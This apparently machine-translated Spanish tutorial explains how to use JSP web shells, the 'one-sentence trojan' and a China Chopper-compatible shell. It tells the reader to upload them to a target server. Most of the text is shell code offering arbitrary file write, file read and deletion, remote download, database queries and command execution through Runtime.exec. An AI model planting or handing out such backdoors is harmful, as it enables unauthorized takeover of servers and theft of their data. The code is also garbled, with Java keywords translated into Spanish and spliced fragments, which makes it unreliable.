Cómo utilizar el troyano de sentencia JSP y el troyano cuchillo de cocina
Después de decir tantas tonterías, ¿cuál es el objetivo de escribir este artículo? De hecho, solo quiero registrar algunos fragmentos de código de puerta trasera JSP, porque es difícil encontrar un helicóptero JSP.
1. El primero es el troyano JSP de una frase y sus socios clientes. (Todos se sorprendieron ~~~)
El siguiente es el lado del servidor, guárdelo como one.jsp y cárguelo en el servidor de destino.
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f")).write (request.getParameter("t").getBytes());%>
Utilice el cliente troyano de una frase para conectarse al troyano one.jsp
Guarde lo siguiente. código como una página HTML:
<<form name=get method=post>Dirección del lado del servidor
El nombre del archivo como lo guardaste:
Código del lado del servidor:
Una vez completado el guardado, abra la página html y escriba una dirección de servidor troyano, como / one.jsp, escriba el código y el nombre del archivo que desea guardar y haga clic en Simplemente guárdelo.
2. Caballos para cuchillos de cocina que se pueden usar con cuchillos de cocina chinos
Además de presentar el troyano de una oración jsp, este artículo también proporciona caballos para cuchillos de cocina que se pueden usar con Cuchillos de cocina chinos.
Guarde el siguiente código como xx.jsp y cárguelo en el servidor de destino, utilice la herramienta Chinese Chopper para conectarse.
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%><%!String Pwd="cto365.com";String EC(String s,String c)lanza una excepción{return s;}/new String(s.getBytes("ISO-8859-1"),c);}Conexión GC(String s )lanza Excepción{String[] x=s.trim( ).split("rn");Class.forName(x[0].trim()).newInstance();Connection c=DriverManager.getConnection(x[1 ].trim());if(x.length>2){c.setCatalog(x[2].if (x.length>2){c.setCatalog(x[2].trim());}return c;}void AA(StringBuffer sb) lanza una excepción{File r[]=File.listRoots();for(int i=0;i am(new FileInputStream(s));os.write(("-> "+"|").getBytes(),0,3); while((n=is.read(b,0,512))! =- 1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3); while((n=is.read(b, 0,512))!getBytes(),0,3);os.close();is.close();}void GG(String s, String d)throws Exception{String h = "0123456789ABCDEF";int n;Archivo f =nuevo archivo(s);f.createNewFile();f.getBytes(),0,512!createNewFile();FileOutputStream os=nuevo FileOutputStream(f);for(int i=0;i ew FileOutputStream(d);HttpURLConnection h=( HttpURLConnection)u.openConnection();InputStream es=h.getInputStream();byte[] b=nuevo byte[512]; while((n=is.read(b,0,512 ))! =-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}void MM(InputStream es, StringBuffer sb)lanza una excepción {String l; BufferedReader br=new BufferedReader(new InputStreamReader(is)); while((l=br.readLine())!readLine())! =null){sb.append(l+"rn");}} void NN(String s,StringBuffer sb)lanza una excepción{Conexión c=GC(s);ResultSet r=c.getMetaData().getTables(null,null,"%",t); while(r.next()) {sb.append(r.getString("TABLE_NAME")+ "t");}r.close();c.close();}void PP(String s,StringBuffer sb)throws Exception{String[] x= s.trim().split("rn");Conexión c=GC(s); Declaración m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from TABLE_NAME" + "t" );}r.close();c.close()executeQuery("select*from "+x[3]);ResultSetMetaData d=r.getMetaData();for(int i= 1;i<=d.getColumnCount ();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")t");}r.c.close();m.close();c.close( );}void QQ(String cs,String s,String q,StringBuffer sb)lanza una excepción{int i;Conexión c=GC(s);Declaración m=c.createStatement(1005,1008);prueba{ ResultSet r=m .append("rn"); while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+"t| t");}sb.append(" rn");}r.close();}catch(Exception e){sb.append("Resultt|trn");try{m.executeUpdate(q);sb. append("¡Ejecución exitosa! t|trn");}catch(Exception ee){sb.append(ee.toString()+"t|trn");}}m.close();c.close();}%>< %String cs=request.request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);StringBuffer sb=new StringBuffer("") ;pruebe{sb.append(" -> "+"|");if(Z. es igual("A")); if(Z.equals("A")){String s=new File(application.getRealPath) (request.getRequestURI()).getParent();sb.append(s+"t");if(!s .substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(nuevo InputStreamReader(nuevo FileInputStream (nuevo archivo(z1)))); while((l=br.readLine())!=null){sb.append(l+"rn");}br.close();}else if(Z.equals ("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1"); }else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,respuesta);} else if(Z.equals("G")){GG(z1,z2);sb.append("1")equals("K")){KK(z1,z2);sb.append("1" );}si no(Z.equals("L")){LL(z1,z2);sb.append("1");}si no(Z.equals("M")){String[] c ={z1.substring(2),z1.substring(0,2),z2}; Proceso p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p. getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);} else if(Z.equals("P")){String[] c={z1.substring(2,z1.substring(0,2),z2}; Proceso p=Runtime.equals("P")){ PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}}catch(Exception e){sb.append(" ERROR "+": //"+e.toString());}sb.append("|"+"<-");out.print(sb.toString());%>